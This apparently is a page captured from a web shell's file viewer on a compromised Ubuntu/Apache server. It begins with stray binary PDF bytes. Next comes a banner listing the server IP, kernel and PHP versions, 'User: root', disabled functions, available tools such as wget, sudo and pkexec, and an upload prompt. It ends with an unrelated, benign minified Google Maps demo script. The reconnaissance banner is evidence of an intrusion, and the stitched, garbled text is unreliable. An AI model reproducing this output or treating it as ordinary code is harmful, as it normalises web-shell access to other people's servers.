%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/eoffice/frontend/web/metronic/demo/demo10/custom/components/maps/ |
Upload File : |
var GoogleMapsDemo={init:function(){var t;new GMaps({div:"#m_gmap_1",lat:-12.043333,lng:-77.028333}),new GMaps({div:"#m_gmap_2",zoom:16,lat:-12.043333,lng:-77.028333,click:function(t){alert("click")},dragend:function(t){alert("dragend")}}),(t=new GMaps({div:"#m_gmap_3",lat:-51.38739,lng:-6.187181})).addMarker({lat:-51.38739,lng:-6.187181,title:"Lima",details:{database_id:42,author:"HPNeo"},click:function(t){console.log&&console.log(t),alert("You clicked in this marker")}}),t.addMarker({lat:-12.042,lng:-77.028333,title:"Marker with InfoWindow",infoWindow:{content:'<span style="color:#000">HTML Content!</span>'}}),t.setZoom(5),function(){var t=new GMaps({div:"#m_gmap_4",lat:-12.043333,lng:-77.028333});GMaps.geolocate({success:function(e){t.setCenter(e.coords.latitude,e.coords.longitude)},error:function(t){alert("Geolocation failed: "+t.message)},not_supported:function(){alert("Your browser does not support geolocation")},always:function(){}})}(),function(){var t=new GMaps({div:"#m_gmap_5",lat:-12.043333,lng:-77.028333,click:function(t){console.log(t)}});path=[[-12.044012922866312,-77.02470665341184],[-12.05449279282314,-77.03024273281858],[-12.055122327623378,-77.03039293652341],[-12.075917129727586,-77.02764635449216],[-12.07635776902266,-77.02792530422971],[-12.076819390363665,-77.02893381481931],[-12.088527520066453,-77.0241058385925],[-12.090814532191756,-77.02271108990476]],t.drawPolyline({path:path,strokeColor:"#131540",strokeOpacity:.6,strokeWeight:6})}(),new GMaps({div:"#m_gmap_6",lat:-12.043333,lng:-77.028333}).drawPolygon({paths:[[-12.040397656836609,-77.03373871559225],[-12.040248585302038,-77.03993927003302],[-12.050047116528843,-77.02448169303511],[-12.044804866577001,-77.02154422636042]],strokeColor:"#BBD8E9",strokeOpacity:1,strokeWeight:3,fillColor:"#BBD8E9",fillOpacity:.6}),function(){var t=new GMaps({div:"#m_gmap_7",lat:-12.043333,lng:-77.028333});$("#m_gmap_7_btn").click(function(e){e.preventDefault(),mUtil.scrollTo("m_gmap_7_btn",400),t.travelRoute({origin:[-12.044012922866312,-77.02470665341184],destination:[-12.090814532191756,-77.02271108990476],travelMode:"driving",step:function(e){$("#m_gmap_7_routes").append("<li>"+e.instructions+"</li>"),$("#m_gmap_7_routes li:eq("+e.step_number+")").delay(800*e.step_number).fadeIn(500,function(){t.setCenter(e.end_location.lat(),e.end_location.lng()),t.drawPolyline({path:e.path,strokeColor:"#131540",strokeOpacity:.6,strokeWeight:6})})}})})}(),function(){var t=new GMaps({div:"#m_gmap_8",lat:-12.043333,lng:-77.028333}),e=function(){var e=$.trim($("#m_gmap_8_address").val());GMaps.geocode({address:e,callback:function(e,o){if("OK"==o){var n=e[0].geometry.location;t.setCenter(n.lat(),n.lng()),t.addMarker({lat:n.lat(),lng:n.lng()}),mUtil.scrollTo("m_gmap_8")}}})};$("#m_gmap_8_btn").click(function(t){t.preventDefault(),e()}),$("#m_gmap_8_address").keypress(function(t){"13"==(t.keyCode?t.keyCode:t.which)&&(t.preventDefault(),e())})}()}};jQuery(document).ready(function(){GoogleMapsDemo.init()});